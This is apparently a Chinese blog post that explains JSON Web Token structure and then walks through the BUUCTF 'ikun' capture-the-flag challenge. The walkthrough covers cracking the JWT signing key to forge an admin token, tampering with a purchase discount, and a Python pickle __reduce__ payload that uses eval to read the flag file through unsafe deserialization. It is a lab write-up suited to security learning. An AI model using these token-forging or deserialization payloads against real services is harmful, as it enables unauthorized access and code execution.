jwt基础知识

JSON web token是什么

JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。
什么时候你应该用JSON Web Tokens
下列场景中使用JSON Web Token是很有用的：
Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录，后续每个请求都将包含JWT，允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性，因为它的开销很小，并且可以轻松地跨域使用。
Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言，JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名，例如，用公钥/私钥对，你可以确定发送人就是它们所说的那个人。另外，由于签名是使用头和有效负载计算的，您还可以验证内容没有被篡改。
JSON Web Token的结构是什么样的
JSON Web Token由三部分组成，它们之间用圆点(.)连接。这三部分分别是：1.Header

2.Payload
3.Signature.

因此，一个典型的JWT看起来是这个样子的：xxxxx.yyyyy.zzzzz
接下来看一下每一部分:
header
header典型的由两部分组成：token的类型（“JWT”）和算法名称（比如：HMAC SHA256或者RSA等等）。
例如：
1
2
3
4
{
"alg":"HS256",
"typ":"JWT"
}

然后，用Base64对这个JSON编码就得到JWT的第一部分.

Payload
JWT的第二部分是payload，它包含声明（要求）。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。

Registered claims : 这里有一组预定义的声明，它们不是强制的，但是推荐。比如：iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
Public claims : 可以随意定义。
Private claims : 用于在同意使用它们的各方之间共享信息，并且不是注册的或公开的声明。
下面是一个例子:

{
    "sub":"1234567890",
    "name":"John Doe",
    "admin":"true"
}

对payload进行Base64编码就得到JWT的第二部分

注意，不要在JWT的payload或header中放置敏感信息，除非他们是加密的.

Signature
为了得到签名部分，你必须有编码过的header、编码过的payload、一个秘钥，签名算法是header中
1
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

BUUCTF ikun

第一步提示我们要找到lv6
写个脚本找一下:

import requests
url="http://web44.buuoj.cn/shop?page="

for i in range(0,2000):

	r=requests.get(url+str(i))
	if 'lv6.png' in r.text:
		print (i)
		break

跑的有点慢,找到了lv6发现买不起.应该是要抓包修改折扣.然后拿到后台的地址.
但需要权限，这里涉及JWT破解,先将JWT base64解码一下,看到username是我自己的登陆名5，这里需要改为admin
后边解码不出来因为经过了sha256，需要破解key
找了一个工具破的破解工具c-jwt-cracker,爆破密码1Kun.
登录之后有一个www.zip,打开之后找到了一个python反序列化的地方，在admin.py中有一个
p=pickle.loads(urllib.unquote(become))
用py2跑
py3序列化pickle.dumps之后的结果和py2的不一样
怀疑是库的问题

这里用了Pickle协议的方法reduce(self)

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这样就可以打印flag.txt里的内容了
将生成的payload传给become
拿到flag.

jwt基础知识

JSON web token是什么

什么时候你应该用JSON Web Tokens

JSON Web Token的结构是什么样的

BUUCTF ikun